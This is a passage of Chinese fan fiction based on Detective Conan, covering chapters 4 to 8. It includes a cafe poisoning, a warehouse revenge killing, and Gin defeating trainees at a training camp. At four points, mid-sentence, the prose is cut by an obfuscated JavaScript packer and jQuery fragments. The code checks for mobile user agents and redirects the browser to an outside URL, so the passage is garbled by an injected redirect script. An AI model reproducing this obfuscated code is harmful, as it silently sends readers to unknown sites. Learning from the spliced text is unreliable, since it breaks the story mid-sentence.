他说这话明显是在糊弄自己,柯南不满地撅起嘴巴,正要出声反驳,可还没来得及开口,就听见身后传来“砰”的一声重物落地的声音,随之而来的就是一阵惊恐的尖叫声:“啊啊啊!!!死人啦!!!” 原泽河眉心一跳,顺着声源处看去,只见一个穿着西装的中年男子口吐白沫瘫倒在地,看样子早已一命呜呼,一名打扮得花枝招展的少妇正伏在他身上嚎啕大哭,从她的哭嚎声中可以得知死者就是她的丈夫。 他微微翕动鼻翼,闻到了空气中一股淡淡的苦杏仁味,心念一动:“难不成死者死于氰/化/物中毒?” 盯着地上那具尸体看了一会儿,原泽河又将视线挪回到柯南身上,见那个小鬼二话不说就从兜里掏出手机,拨打了报警电话,整套动作有如行云流水,一气呵成,熟练得让人心梗。 报完警后,柯南把手机塞回衣兜里,见有人意欲夺门而出,立马扯开嗓子朝众人大喊道:“我刚才已经报警了,大家先不要离开,一切等警察来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871210|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再说!!!” 只是店里的顾客们却把他的话当耳旁风,不管不顾的往大门口冲去,一心只想远离这是非之地。柯南看着眼前失控的场面,急得直跺脚,却又不知道该如何是好。 而就在下一刻,局势瞬间逆转,一直在旁边沉默不语的毛利兰忽然冲上前去,挡住了众人的去路,颇有一夫当关万夫莫开之势。 少女看着眼前骚乱的人群,气势磅礴地喊着:“谁敢离开,形同此桌。”说完抬起长腿,直接劈向离自己最近的一张餐桌,众人眼睁睁看着那张桌子被劈成两半,害怕地咽了咽口水,好像被一分为二的是自己一样。 原泽河站在一边,将这一幕尽收眼底,忍不住啧啧了两声:“没想到这位小姐看起来温温柔柔的,实际上却很彪悍呢。” 听到他的话,柯南立马点头以示赞同,显然深受其害。站在他右手边的毛利小五郎看着碎成两半的桌子,想到后续的赔偿,脸上明晃晃地写着“肉痛”两个大字。 被毛利兰威胁了一通,人群顿时安静了下来,没有人敢冒着生命危险夺门而出,大伙怂得跟鹌鹑似的站在那里,再也不敢轻举妄动,咖啡馆里一时静得落针可闻。 在等待警察到来的期间,原泽河拿出手机看了一眼,屏幕上代表箱子的红点终于开始移动起来,离开了存放地点。 任务紧迫,容不得他在这里浪费时间,原泽河那双金色的眼眸闪了闪,而后施展出能把周围所有人的情绪具象化的望气术,锐利的目光逐一扫过店内众人。 店长和几位店员头顶冒出的气体是蓝色的,而蓝色是忧郁的代名词,他们或许是在担心凶案发生后,店里的生意多少会受到些负面影响。 一众顾客的头顶腾腾地冒着白气,白色被一些人认为是死亡和恐惧的象征,也许这些人是怕躲在暗处的凶手突然跳出来对他们痛下杀手,毕竟杀一个人是杀,杀一群人也是杀。 视线最后停留在死者妻子身上,她依旧伏在死去的丈夫身上哭哭啼啼,可她的头顶却冒出了滚滚黑气,犹如实质的恶意无处隐藏,和她那张梨花带雨的脸形成了强烈的对比和反差。 这一下,到底谁是凶手,昭然若揭。 妻子亲手毒杀了自己的丈夫,理由不用多想也能知道,原泽河兴致缺缺地移开了目光,转过头看向那扇紧闭的大门。也不知道真凶还要多久才能被揪出来,他要是在众目睽睽之下原地消失,会不会当天就登上各大网站头条,被当作外星人之类的超自然存在大肆报道? 他抬手摸了摸下巴,认真考虑起了这个计划的可行性,最后还是选择把出名的机会让给别人。 做出决定后,他上下打量了下胡子拉碴的毛利小五郎,嘴上什么都没说,眼里却明明白白写着:“拜托了,传闻中的名侦探沉睡小五郎,我今天能不能早点完成任务提前下班就看你的了。” 5. 这个组织吃枣药丸5 时间一分一秒地过去,不久后,警笛声响起,穿着橙黄色制服的目暮警官带着一队巡警出现在众人眼前。案发现场很快被封锁起来,验尸官对死者进行了尸检。 完成检查大概用了半小时的时间,验尸官初步推断这名死者是服下了过量氢化钾才中毒身亡的,而毒药就涂抹在他的杯子边缘,被害人把杯子放到嘴边,所以就把毒药连同咖啡一起喝下去了。 结果出来后,死者的妻子立马站起身来,竹筒倒豆子似的噼里啪啦,一口断定店长就是下毒害死她丈夫的真凶。 原来她的丈夫是东京小有名气的美食评论家,在第一次探店后,并没有给出什么好的评价,导致这家店的名誉受损,生意也因此遭到打击。常言道断人钱财如杀人父母,或许正是这个原因让店长怀恨在心,这才对自己的丈夫暗下毒手。 众人听她说完后,纷纷将怀疑的视线投向店长,店长顿时脸色都变得难看起来,想要开口辩驳,却又不知道该怎么说,只能是哑巴吃黄连,有苦说不出。 某人倾情演绎贼喊捉贼,原泽河冷眼瞧着,轻嗤了一声,随即将视线移向了正低头沉思着什么的毛利小五郎,盼着这位侦探先生能像以往那样迅速破案,早点将凶手绳之以法,好让他提前完成任务提前下班。 在他殷切期盼的目光中,毛里小五郎猛地抬起头,眼神亮得近乎犀利:“我知道了,真凶就是……” 只可惜他话还没说完,躲在角落里的柯南就对着他的脖子射出一根麻醉针。毛利小五郎的身子开始摇摇欲坠,几个走位就坐到了离他最近的那把餐椅上。而柯南趁众人不注意,偷偷溜到毛利小五郎的背后,用西装上的红色领结模仿出他的声音开始推理。 对方才那一幕,众人毫无所察,可原泽河却看得清清楚楚,金色眼眸里闪过一丝惊讶。 躲在毛利小五郎背后的柯南拿着蝴蝶结变声器,像剥洋葱一样有条不紊地分析案情,最后直达核心要害,指出杀人凶手就是死者的妻子。女人起初还死不承认,但在铁一般的证据面前,只得认罪认罚。 接下来就是凶手跪地陈述犯罪动机的环节,原泽河对此丝毫不感兴趣,目光在毛利小五郎与柯南的身上来回逡巡,脸上露出恍然大悟的神色,原来传说中的“沉睡的小五郎”是这么来的。 很快,犯人被警察带走了,被迫滞留在这家咖啡店的顾客也都陆续离开。当毛利小五郎从昏迷中清醒过来的时候,发现自己已经回到了毛利侦探事务所,闺女和那个戴眼镜的小鬼就坐在他旁边的位置上,不知在交谈着什么,脸上都带着显而易见的笑容。 见他醒来,毛利兰眼睛蹭的一亮,倏然迎上去,将刚才发生的事一五一十地告诉了自己的父亲。 毛利小五郎对昏迷后醒来案件就被自己破了这件事早就见怪不怪,脸上的表情没有过多的变化。他按了按自己的眉心,又突然想起什么似的,从怀里掏出钱包就是一阵唉声叹气。 他的举动令毛利兰感到迷惑,柯南却是一眼看穿他心里的小九九,嘴角抽搐了两下,然后才道:“叔叔你放心好啦,你的钱包没有见底,那个穿着黑T牛仔裤的漂亮哥哥替你支付了赔偿金。” 听他这么一说,毛利兰才知道父亲在为什么发愁。想到那张赔了钱的桌子是被自己一腿劈断的,少女像是做错了事般垂下头来,姣好的面容上浮现出一抹愧疚之色。 柯南说完,想了想又补充了一句:“不仅如此,他还替我们付了饭钱,作为对叔叔精彩推理的报答。” 听完之后,毛利小五郎一脸感激万分的神色,他想到那个年轻人完美的长相和大方的手笔,忍不住感慨了一句:“小兰啊,那个男生看上去也大不了你几岁,如果你喜欢的人是他的话,我不知道少操多少心。” 他这话明显意有所指,毛利兰的脸当即就红了,柯南看着红了脸的心上人,脸黑得跟锅底似的,他在心里面吐槽说:“叔叔你想都不要想!那个大哥哥已经名草有主了!” 而另一边,丝毫不知道自己已经名草有主的原泽河移形换影到红点停留的位置,一个并不起眼的仓库外。仓库外面派了几个人守着,但无一例外都被他放倒了。 仓库里破旧不堪,昏暗的灯光下,一胖一瘦两个男人打开那只从大丸百货储物柜中取来的皮箱,两人凑在一起大致清点了一下,确定要收的钱一分也没少。 尽管货款已经拿到手了,但那个胖男人没高兴多久,就开始唉声叹气做烦恼状。瘦男人将他那副模样看在眼里,不由凑上前去问道:“老大,你怎么了,你突然这样,让我很慌啊!” 胖老大又叹了一口气方才解释道:“老二你有所不知,我是担心我们抢了那批货物,那个组织会不会找上门来?毕竟他们个个装备精良,当初要不是人少,怎么会被我们得手?” 闻言,瘦老二拍了拍他的肩膀,给他打气:“老大你怕什么,他们装备精良又怎么样,最后还不是被我们抢了东西?要是他们敢找上门来,我小松太一郎管教他们有来无回!” 他这话刚一说出口,一声嗤笑便从他身后传了过来,紧接着一句话钻进了他的耳里,语气中夹杂着浓浓的轻蔑鄙夷意味:“那就要看你们有没有这个本事了。” 胖瘦二人闻言皱了皱眉头,齐齐朝声源处看去,只见一个穿着黑T牛仔裤的年轻人正朝他们走来,那张无可挑剔的脸蛋上一点笑容都没有:“我给你们一分钟的时间,告诉我前几天被你们抢走的那批货在哪。” 他不笑和笑起来完全是两种气质,当他冷着一张脸的时候,连狗看到他都不敢叫。两人被他看得心里发毛,暗自叫苦不迭,说曹操曹操就到,那个组织的人还真找上门来了。 催命符似的脚步声越来越近,胖瘦二人互相看了一眼,从彼此的眼中看到了相同的狠辣,下一秒,两人同时从腰间拔出一把手枪,速度快得几乎无法用肉眼捕捉,不愧是道上混的。 只是他们还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听他这么说,瘦老二随即附和道:“求求您大人有大量,饶了我们吧!我们以后再也不敢在太岁头上动土了!” 然而原泽河俊美的脸庞仿佛结了一层冰霜,并无丝毫动容:“现在才求饶,晚了。你们不仅抢了我们的货,还杀了我们的人,我会让你们为自己的愚蠢行径付出惨痛的代价。” 冷冰冰地扔下这么一句话后,他在两人身上施了定身术,然后在他们气急败坏的怒骂声中,头也不回地离开了仓库。 他刚一走出仓库,大火便在身后燃起,火舌瞬间将仓库吞没,惊恐万状的惨叫声连绵不绝的在郊外响起,像是来自十八层地狱般令人毛骨悚然。 直到惨叫声彻底停止,原泽河才拿起手机,给琴酒发了一条简讯:圆满完成任务。 发完这条简讯,他刚要熄灭屏幕,就收到琴酒发过来的一个句号。他盯着那个标点符号看了一会,唇角扬起一个微小的弧度,然后身形一闪,转眼消失在了原地。 6. 这个杀手过分靠谱1 早上九点,一辆黑色的保时捷正在飞速行驶着,伏特加一边给自家大哥开车,一边透过车内的后视镜看向后座的新人百利甜。青年仍是那副懒懒散散的样子,悠闲地靠在后座的椅背上,他瞧在眼里,心底说不出的惆怅。 自从这位新人完美地执行了分配给他的第一个任务后,就开始了三天打鱼两天晒网的日子,平时有什么任务都是能推就推,不能推就逃,妥妥的摆烂咸鱼。 而更气人的是,对这种咸鱼员工一向是深恶痛绝的琴酒,对此却并没有提出什么异议,态度甚至可以说是纵容的,任由百利甜在自己眼皮子底下混日子。 这种赤果果的双标行为,令伏特加越发坚信自己的推理,百利甜必定和组织老大有着千丝万缕的关系。 话说回来,百利甜这条自由散漫的咸鱼今天之所以会出现在这里,全因这次的任务非同一般,他听到之后觉得很有趣,于是一改往常,主动提出要和他俩一起做任务。 而他们今天的任务就是前往组织里的新人训练营,替专门负责训练新人的教官好好教训教训底下那群不听话的小屁孩。 也不知是出于何种原因,训练营的新人开始不务正业,成天打架斗殴,而且屡教不改,一而再再而三地打成一团。教官最后实在是没有办法了,这才请来组织里赫赫有名的Top Killer,希望他能帮自己排忧解难。 原泽河在听说此事后,本着看热闹不嫌事大的原则,主动上了琴酒伏特加的车。他嘴上说着多一个人就多一份力量,心里却在好奇琴酒接下来该如何处理此事。 他混进组织已经有将近一个月的时间,对组织成员的能力有了初步的认识,说句不好听的话,组织里能入得了他法眼的家伙实在不多,而琴酒就是这为数不多的人里最令他满意的那个。 通过这些天的接触,原泽河发现这个冷冰冰的银发男人并不像传闻中那样狠辣无情,相反的,他简直可以称的上是职场里的梦中情上司。 有危险他先上,有困难他来扛,只要你在他眼里是自己人,他就不会弃你于不顾。之前作为黑衣组织老大的他体会不到琴酒的这些优点,可自从他和琴酒身份颠倒后,他就一次次地切身体会到了对方有多靠谱,有他在就安全感爆棚。 难怪伏特加甘愿抛下原本安定的生活,为他大哥开一辈子车。 他刚在心中感慨了这么一句,然后就听见伏特加关切地在旁边说道:“大哥你接连三天连轴转,今天一大早又要马不停蹄地赶去训练营,怕是累坏了吧?现在离目的地还有一段距离,你不如趁这个机会好好休息休息。” 原泽河听到他这么说,深以为然地点了点头:“大哥也该好好休息一下了。”说完后,他又忍不住补上一句:“早就听说大哥是劳模中的典范,现在看来,传言果然不假。” 伏特加见有人附和自己,一时说得更加起劲了:“你说得对,我大哥他的确无愧于‘劳模’这一称号,从他当上行动组组长那一天起,我就没见他有一天休息过,每天最早上班,最晚下班,勤勤恳恳兢兢业业地完成着一个接一个的任务。打工打到这个份上,Boss他老人家怎么也得给我大哥一笔额外的奖金……” 琴酒没能一开始就阻止伏特加的胡言乱语,以至于对方越说越来劲,越说越离谱。为了避免他再说出什么大逆不道的话来,琴酒很刻意地咳嗽了好几声,打断了他后面的话。 一段难捱的沉默过后,原泽河忽然轻笑一声打破僵局:“伏特加前辈说的没错,像大哥这么优秀的员工已经不多见,Boss可以说是捡到宝了,不给你一笔丰厚的奖金,实在是说不过去。” 琴酒将他的话一字不落听在耳中,一时哑然,整整一分钟过去,也不知道要怎么回复才好。 两人之间的氛围实在是太过奇怪,连长了颗榆木脑袋的伏特加也发觉出几分不对劲来,可具体是哪里不对,他一时半会却又说不上来。他正自个儿琢磨着,坐在后座的百利甜却在这时转移话题:“伏特加前辈不妨也点评一下我这一个月来的表现。” 伏特加怔愣了好一会,显然没有想到他会问出这个问题。在心中斟酌了一下措辞,他张了张嘴,非常客观地评价道:“你头脑灵活,体力充沛,放眼整个组织也找不到一个比你更出色的新人。”说到这里,他还是没忍住,旁敲侧击地补上一句:“如果任务积极性能提高点就更好了。” 原泽河直接忽略掉他的后半句话,他倾身靠近琴酒耳侧,笑吟吟地问:“大哥觉得这个评价如何?” 此刻两人离得很近,距离不足一掌,琴酒能清楚地感觉到他温热的吐息喷洒在自己耳际,心脏以不正常的节拍跳动着。深呼吸了几下,他垂下纤长的眼睫,又恢复了平时那副冷淡疏离的模样:“我的看法跟他一致。” 不知怎的,看着眼前故作镇定的“顶头上司”,原泽河突然生出了几分逗弄的心思,他刻意压低了嗓音,语气中带着几分戏谑问道:“包括体力充沛这一点?” 他这话说得露骨又直白,琴酒哪里会听不出来,随着他的话音落地,车内气氛一时陷入了奇怪的静默。过了大概半分钟那么久,他缓缓地吐出了一个字:“……对。” 音落刹那,银发杀手的面色是一如既往的平静无波,但原泽河听到之后,却像得了糖果的小孩子那般轻轻笑了起来,笑声中难掩愉悦。 * 三人下了车之后,直奔新人训练营,早就等候在门外的教官看到那道熟悉的高挑身影,整个人就跟看到救星似的,眼睛一下子亮了起来。他忙不迭地迎上去,笑逐颜开道:“琴酒大人,您可算来了……” 他一边跟琴酒打招呼,一边不动声色地打量着站在琴酒身旁的漂亮青年。确定自己从来没见过这个人后,他忍不住问道:“这位是?” 伏特加刚要开口,原泽河就朝那个身材魁梧的壮汉教官礼貌地笑了笑,先一步自我介绍道:“前辈你好,我是刚在组织混了一个月的新成员,代号百利甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871212|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 客气地同他打过招呼之后,教官在内心默默想道,原来那个横空出世的组织新人长这个样子,这般相貌气度,传闻说他和Boss关系密切,看来也不是空穴来风。 空气安静了几秒,琴酒将视线落到教官身上,淡色的薄唇一张一合,直奔主题一针见血地问道:“所以为什么会发生这种事情?我需要你给我一个解释。” 说完这句话,琴酒微微眯起眼睛,望向教官的目光里充满了审视的意味,令他忐忑不安。 起初教官支支吾吾不肯明言,但在对上银发杀手冰冷而充满压迫感的视线后,当即被吓得一个激灵,竹筒倒豆子似的将原委都说了出来。 事情的起因在一周前,训练场边的草地上出现了一只金苹果,上面刻着一行字:献给最强的新人。 新人们发现了突然出现在训练营的这只金苹果,他们正值血气方刚,争强好胜的年纪,哪里肯将最强的称号拱手让人。于是乎,为了争夺这只象征着力量的金苹果,证明自己是实力最强的新人,这些十几岁的少年们像是被点燃的火药桶一般,厮打得不可开交。 而这只引起纷争的金苹果,就是由教官亲手送出的。 琴酒听完整件事的起因和来龙去脉后,眉尖当即拧了起来,浑身上下气压低得吓人。 他的眼神冷得可怕,教官感觉自己马上就要被冻成冰雕,强烈的求生欲迫使他慌忙为自己辩解:“我我我之所以干出这种事,单纯就是想要激励他们奋发向上,只是没想到……” 他的话还没说完,就被琴酒一声嗤笑打断了:“只是没想到最后玩脱了,还要我帮着收拾残局。” 琴酒每说出一个字,教官的头就低上一分,等他说完,教官的头已是低得不能再低。 原泽河将眼前发生的一切尽数收纳眼底,他先是看了眼被训斥得大气都不敢出的黝黑大个子教官,随后把目光定格在面无表情却不怒自威的银发杀手身上,心中暗想:他习惯了琴酒在自己面前温顺臣服的模样,这还是他第一次见到褪去了卑微和顺从,给人冰山般压迫感的琴酒。 不过话说回来,这位教官的想法真可谓是别出心裁,他效仿希腊神话里的不和女神厄里斯,也弄出一只金苹果来,引得新人们为此大打出手。厄里斯的金苹果引发了三位女神的斗争,成为了特洛伊战争的导火索,而该人的金苹果则导致了这起斗殴事件的发生。 想到这里,原泽河微微侧头,那双灿金色的眸子若有所思地看向琴酒轮廓冷峻的侧脸,似乎在思索这场闹剧究竟该如何结束。 正当他思索期间,琴酒轻飘飘地看了连头都不敢抬的教官一眼,神色冷淡地发号施令:“废话不多说,你现在就带我去见见那群小子。” 他这话一出口,教官当即抬起头来,喜笑颜开地走在前面,十分殷切地为他引路。 眼见琴酒迈开长腿,先行一步朝训练营门口走去,原泽河和伏特加互看了一眼对方,随后也跟了上去。 7. 这个杀手过分靠谱2 很快四人到达了训练场地,乌泱泱的黑衣少年瞬间映入眼帘,每个人脸上都多多少少带着青紫,其中有几个倒霉蛋脸肿得跟猪头似的,几乎看不出本来面目了。 此时已快到正午,他们被罚站在火辣辣的太阳底下,额头上布满了密密麻麻的汗珠,一副十分难受的样子,但即便如此,这群孩子也丝毫没有告饶的意思,依旧身姿笔挺地站在原地,始终纹丝不动。 刚一踏进训练场,教官便走到队伍前方,对着自己手底下那群新人扯开嗓子:“因为你们不服管教无法无天,所以我特地请了组织里赫赫有名的琴酒大人来这里,让他看看你们的骨头到底有多硬。” 他这句话刚说完,琴酒就往前走上几步,与他并肩而立,瞬间成为了所有人的目光焦点。 银发杀手坦然接受了所有目光,一字一句缓缓说道:“这件事的起因我已经从你们教官口中得知了,我能理解你们的心情,但这并不代表我会放任你们打架斗殴,我来这里的目的就是帮忙解决问题。” 他声音不大,却能让在场众人都听得清清楚楚,原泽河抱臂站在原地,金色的双眸一眨不眨地看着他,对他接下来要说的话很感兴趣。 停顿片刻后,银发杀手再度开口,声音拔高几分:“一个小时之内,要是你们中有谁能击败我,那只金苹果就属于谁。反之,如果没有一个人能击败我,那么谁都没有资格得到它。” 他说得十分简明扼要,在场众人听完后都站在原地发愣,谁也没想到组织TK给出的解决方案会是这么……独辟蹊径。 愣住了片刻后,原泽河有些失笑地摇了摇头,亏他之前还替琴酒绞尽脑汁想法子,谁知道对方的脑回路居然如此简单粗暴。 不过这样也好,这群小孩之所以三番两次大打出手,大概是因为看不清自己几斤几两,对自己的实力产生了迷之自信。等琴酒给他们露一手,让他们知道人外有人天外有天,他们自然会为自己的弱小感到羞愧,从而消停一阵子,把心思用在提升自身实力上。 原泽河越想越觉得这法子可行,他从琴酒身上收回目光,而后将视线投向已经蠢蠢欲动的少年们,越发期待银发杀手接下来的精彩表现。 看着那群小家伙越发斗志昂扬的眼神,教官忍不住笑了一下,很快又严肃起来,对着队伍里一个人高马大的少年说道:“001,你先上来和琴酒大人切磋一下,注意下手轻重,点到为止即可!” 话音一落,那群少年顿时躁动起来,所有人齐刷刷抬起视线,眼中闪烁着兴奋的光芒。要知道001可是他们当中排得上名号的强者,琴酒就算再怎么厉害,也不能轻轻松松地大获全胜,接下来精彩激烈的战斗场面,光是想想都令他们热血沸腾。 在众人的注目下,代号为001的少年人从队伍里走了出来,与琴酒相对而立,两人就这么面对面站着。琴酒没有他那样高大威猛的身形,双方的体格差距一览无余。看着相对而言显得瘦弱的琴酒,他虽然心里轻视,面上却分毫不显,恭恭敬敬地说出一句:“报告琴酒大人,我的代号是001,接下来的比试还请多多指教!” 说完就做出了防守的姿态,等着琴酒的进攻。 琴酒闻言,抬眸对上了少年的视线,两人目光无声对峙着,观战的众人都已经屏住了呼吸。 静默片刻后,琴酒突然毫无预兆地出手,冲着001的太阳穴就是一拳。 001在他拳头袭过来的瞬间,反应迅速地出手格挡,将对方攻势化解于无形之中,随即抡起拳头就向琴酒脸上狠砸过去。 少年出拳速度极快,但在琴酒眼中却像是电影里的慢动作般清晰可见,他轻轻松松便躲开了对方的拳击,随后找准时机,出手如电地抓住了对方的手腕,轻轻一挥就将其甩开。 这一招看似简单,但要使得如此行云流水也绝非易事,对使用者的身体素质要求极高。 001差点被这股巨大的力道甩飞出去,但他凭借自己过人的体格,硬是夺回了身体的控制权。然而他还没来得及稳住自己的身形,琴酒又是一记扫堂腿扫了过去,将毫无防备的他轻而易举扫倒在地。 这一系列动作如行云流水般一气呵成,只是一眨眼的功夫,001便被击倒在地,胸口隐隐作痛。他试图爬起来,却被琴酒一把按了回去。琴酒反手擒住他手臂,膝盖顶住他的背,将他牢牢压制在自己的身下。 整个过程,不到十秒钟。 001完全被琴酒压制住,丝毫动弹不得,几番挣扎无果后,他忍着疼痛转过头来,用眼角余光看着压在他背上的银发杀手,眉眼耷拉下来,语气万分沮丧:“琴酒大人,这场切磋是我输了。” 听他亲口承认自己输了,琴酒当即松开了对他的桎梏,看着他灰溜溜地从地上爬起来,脸色透出一丝挫败。 一阵难言的沉默过后,琴酒朝他微微颔首,眼神中流露出些许赞赏之意:“你身手不错,不过还是要勤加练习,才能在组织混出头。” 听到这个点评,001不禁露出一丝苦笑,在心中幽幽地叹了口气:您可别捧杀我了,这才不到十秒钟,我就输得彻彻底底了。“身手不错”这四个大字,我实在是担当不起。 琴酒首战大捷后,先是弹了弹身上并不存在的灰尘,而后又扫了一圈面前的少年,唇角微扯,扬声开口:“怎么样?还有谁要上场?” 他话音一落,那群少年顿时面面相觑,你看我我看你,心里都有点发怵。 良久,终于有人打破了僵局,一个十六七岁的少年从队伍中走出来,他走到琴酒面前恭敬说道:“琴酒大人,我002愿意和您比试一场!” “002?”琴酒打量了一眼面前皮肤黝黑、浓眉大眼的少年,而后朝他勾勾手指,示意他先出手,“好!你的挑战我接受了!” 已经亲眼见识过琴酒身手的002不敢轻敌,身如离弦之箭,直接朝琴酒冲了过来,同时一拳击向他胸口。 那一拳来势汹汹,一般人在这种攻势下都会慌忙躲避,可琴酒压根就不是一般人,眼见拳风扑面却毫不避让,还是那副泰山崩于前也面不改色的淡定模样。 而就在千钧一发之际,琴酒侧身一闪,堪堪躲开袭来的攻击。002的拳头就这样擦着他的身子过去,甚至连他的衣角都没碰到。 失之毫厘,差之千里,战局至此,明眼人已经能看出两人之间巨大的实力差距。 002见一击不中,就立马变招,挥拳而出的手化拳为掌,对准琴酒一记手刀下去。 这一次琴酒不再闪躲,抬手一抓就轻松捏住了他手腕脉门。002脉门被扣,瞬间失去反抗之力,直接被当场制服。 整场战斗从开始到结束,同样不到十秒。 一时间全场鸦雀无声,深知敌我力量悬殊的少年郎都不想当出头鸟,一个个都跟个鹌鹑似的垂头站在一边,生怕被琴酒点名。 整整十五分钟过去了,竟无一人敢再上前挑战,琴酒又等了一会,仍是无人上前,他的目光缓缓扫过垂头而立的新人,一字一句地开口:“一个小时还没到,你们现在就要放弃了吗?” 回应他的,是一片沉默,没人愿意给他送人头。琴酒似乎也察觉到了这一点,淡声开口:“你们既然怕了,不如一起上,只要有谁能在剩下的时间里击败我,就算谁赢了,怎么样?” 他这句话一出,原本偃旗息鼓的少年们摩拳擦掌,又蠢蠢欲动起来。 一对一他们不是琴酒的对手,难道一拥而上也不行吗?琴酒再厉害也只是个人,是个人就有体力耗尽的时刻,也许他们之中就有一个幸运儿,能在琴酒精疲力竭的时候捡漏。 琴酒一看他们那表情就知道自己的话奏效了,他似笑非笑地挑起半边眉毛,接着略带挑衅地说道:“那还等什么?你们一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871213|159564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上吧!” “是!!!” 数百名少年齐齐回应,声音直冲云霄,喊完之后,他们井然有序地冲上前,很快将琴酒围成了一个密不透风的铁桶。 说不清是哪方先动的手,一对多的战斗如火如荼地进行着,只见琴酒如同花蝴蝶一般穿梭在人群之中,身姿优雅利落,即便是在打架,看着也赏心悦目得很。 随着时间一分一秒地过去,还站着的新人越来越少,地上横七竖八地躺着一个个伤员,他们痛苦地呻吟着,浑身上下像是散架了一样。而被他们团团围攻的琴酒依旧是一副气定神闲的模样,没有半分落败的迹象。 距离比试结束还剩十五分钟时,最后一个还站着的少年轰然倒地,而琴酒毫发无损地站在原地,下颔微抬,神色倨傲,远远看去像极了一只高贵的黑天鹅。 胜负已成定局,观战众人对于眼前这个结果无一不感到震惊,这简直就是一场单方面的屠杀。 此刻的琴酒傲立于人群之中,宛如一柄出鞘的利剑,原泽河双唇轻抿,一双金眸一瞬不瞬地盯着他,眼中满满的都是欣赏之色。他早就听说琴酒身手非凡,是名震地下世界的顶尖杀手,只是之前一直不怎么放在心上,直到今日才算是领教了他的厉害。 他看着这样大杀四方、所向披靡的琴酒,莫名的,有种说不上来的感觉停在胸腔,久久盘桓,仿若蝴蝶振翅欲飞。 经过这场单方面的屠杀,那群少年对组织TK的武力值佩服得五体投地,那只曾让他们为之大打出手的金苹果,此刻对他们来说,已经完全失去了吸引力。 他们现在唯一的念头,就是努力提升自己的实力,离琴酒大人越近越好。 教官将手底下那群刺儿头拜服的神色收入眼底,如释重负地松了一口气,知道这场由自己惹出来的闹剧总算是结束了。 他兴冲冲地走到琴酒面前,刚要开口道谢,就被琴酒挥手打断。银发杀手定定地看着他,静默几息后,唇角缓缓勾起了一丝冷笑:“闹事的那群小子都被我教训过了,现在,该轮到你了。” 闻听此言,教官心中“咯噔”一跳,脸上的笑容瞬间褪去,他哭丧着脸看着琴酒,神情要多可怜就有多可怜。 奈何琴酒心如铁石,丝毫不为所动,他面无表情地看着教官,嘴里吐出的话仿若数九寒冬的冰凌一般:“你给我捅出这么大的篓子,这个月的工资就别想要了。” 琴酒说完就转身离开,丝毫不给他讨价还价的余地。原泽河和伏特加看着教官一脸生无可恋表情,不约而同地笑了起来,笑声中毫不掩饰地带着幸灾乐祸的意味。等到欣赏够了对方那副绝望的样子,他们才迈出脚步追了上去。 伏特加先一步钻进车里,琴酒和原泽河两个人肩并肩慢悠悠地走着,阳光洒在他们身上拉出长长的影子。 彼此安静了一段路后,原泽河不知想到什么,忽然侧过脸看向琴酒,那双眼睛亮得惊人,定定锁住他:“Gin,你之所以留这么长的头发,其实只是为了向你的敌人炫耀,即使你将自己的弱点暴露给他们,他们也丝毫奈何不了你,对不对?” 音落刹那,他又装模作样地叹了一口气,幽幽说道:“你之前骗我,和我说的都是假话。” 此言一出,空气骤然安静下来。看到琴酒脸上露出了心虚的表情,原泽河就知道自己肯定猜对了,心里莫名地泛起了细密的痒意。 平时那么冷冰冰的杀手先生居然也有这么中二的一面,这个发现就像是沙漠中的绿洲一般吸引着他,让他不可自拔,想要继续探索。 听到自家Boss直白的揭穿,琴酒足足沉默了半个世纪那么久,才故作淡定地否认道:“没那回事。” 说完之后,他像是逃离一般快步离开,原泽河看着他有些慌张的背影,唇边笑意渐深。 ——死鸭子嘴硬的冷脸傲娇酷哥,是真的真的很可爱啊。 8. 这个杀手过分靠谱3 自训练营归来后,保时捷356A平稳地行驶在大道上,落日余晖洒在车身折射出耀眼的光芒。 等抵达黑森林酒吧时,夜色已然晕染天空,闪烁在路边的霓虹灯绚丽夺目,照得街边的店铺都亮如白昼,此时的东京如同璀璨的宝石一般在黑暗中闪闪发光。 保时捷365A停在热闹繁华的酒吧门口,原泽河一行人打开车门走了下来,随后轻车熟路地走进眼前这间作为据点的酒吧。 